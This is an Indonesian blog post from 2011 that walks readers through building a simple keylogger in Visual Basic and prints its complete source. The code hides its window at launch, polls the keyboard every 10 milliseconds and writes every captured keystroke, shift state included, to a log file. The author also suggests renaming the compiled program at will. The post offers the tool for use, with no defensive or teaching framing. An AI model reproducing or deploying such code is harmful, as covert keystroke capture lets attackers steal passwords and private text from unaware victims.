Warung Online

Senin, 12 September 2011

Cara Membuat Keylogger Sederhana

Ne bro Ane Share Cara Membuat Keylogger Menggunakan Visual Basic Baik Yang Portable Maupun Yang installable.

[-].Buka Visual Basic Portable Maupun Installable
[-].Pilih standard exe
[-].Buat Sebuah Form Bernama Form1

Ne Dia Code nya.
Cara Masukin Kodenya (Buat yang newbie)
[-].Klik Kanan Pada Form - Pilih View Kode
[-].Masukin Kodenya

Ne Dia Kodenya
=====================================================================
Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer

Private Type TList
kode As Integer
bawah As String
atas As String
End Type

Private List(1 To 255) As TList
Private IndexList As Integer

Private Sub AddToTable(kode As Integer, atas As String, bawah As String)
IndexList = IndexList + 1
List(IndexList).kode = kode
List(IndexList).atas = atas
List(IndexList).bawah = bawah
End Sub

Private Sub Build_Table()
Dim i As Integer
For i = 65 To 90
AddToTable i, Chr(i), Chr(i + 32)
Next i
AddToTable 48, ")", "0"
AddToTable 49, "!", "1"
AddToTable 50, "@", "2"
AddToTable 51, "#", "3"
AddToTable 52, "$", "4"
AddToTable 53, "%", "5"
AddToTable 54, "^", "6"
AddToTable 55, "&", "7"
AddToTable 56, "*", "8"
AddToTable 57, "(", "9"
AddToTable &H60, "", "0"
AddToTable &H61, "", "1"
AddToTable &H62, "", "2"
AddToTable &H63, "", "3"
AddToTable &H64, "", "4"
AddToTable &H65, "", "5"
AddToTable &H66, "", "6"
AddToTable &H67, "", "7"
AddToTable &H68, "", "8"
AddToTable &H69, "", "9"
AddToTable Asc(" "), " ", " "

End Sub

Private Sub Form_Load()
Me.Visible = False
Build_Table
End Sub

Private Sub AddToFile(Isi As String)
Dim Data As String
Dim FileHandler As Long

If (Dir(App.Path & "\mylog.txt") <> "") Then
FileHandler = FreeFile
Open App.Path & "\mylog.txt" For Input As #FileHandler
Data = Input(LOF(FileHandler) - 2, #FileHandler)
Close #FileHandler
End If

FileHandler = FreeFile
Open App.Path & "\mylog.txt" For Output As #FileHandler
Print #FileHandler, Data & Isi
Close #FileHandler
End Sub

Private Sub Timer1_Timer()
Dim i As Integer
Dim a, b As Integer
For i = LBound(List) To UBound(List)
a = GetAsyncKeyState(List(i).kode)
b = GetAsyncKeyState(16)
If (a = -32767) Then
If (b = -32768) Then
AddToFile List(i).atas
Else
AddToFile List(i).bawah
End If
Exit For
End If
Next
End Sub
========================================================================

Buat 1 buah Timer.Berinama Timer tersebut dengan Timer1
interval 10

Tinggal Compile Program......Caranya Klik Menu File Pilih Project.exe
Ganti Nama Keylogger Sesuai keinginanmu

File Log Keylogger Ini Akan Tersimpan Di Folder Dimana Tempat Keylogger ini berada dan bernama MyLog.txt

1 komentar:

Anonimmengatakan...

:11

:10 :11 :12 :13
:14 :15 :16 :17
:18 :19 :20 :21
:22 :23 :24 :25
:26 :27 :28 :29
:30 :31 :32 :33
:34 :35 :36 :37
:38 :39 :40 :41
:42 :43 :44 :45
:46 :47 :48 :49
:50 :51 :52 :53
:54 :55 :56 :57
:58

Posting Komentar

Fivers

BlooderZ
blog-blooderz.blogspot.com

Energy Saving Mode

Credit cheat's: Colongan - by BlooderZ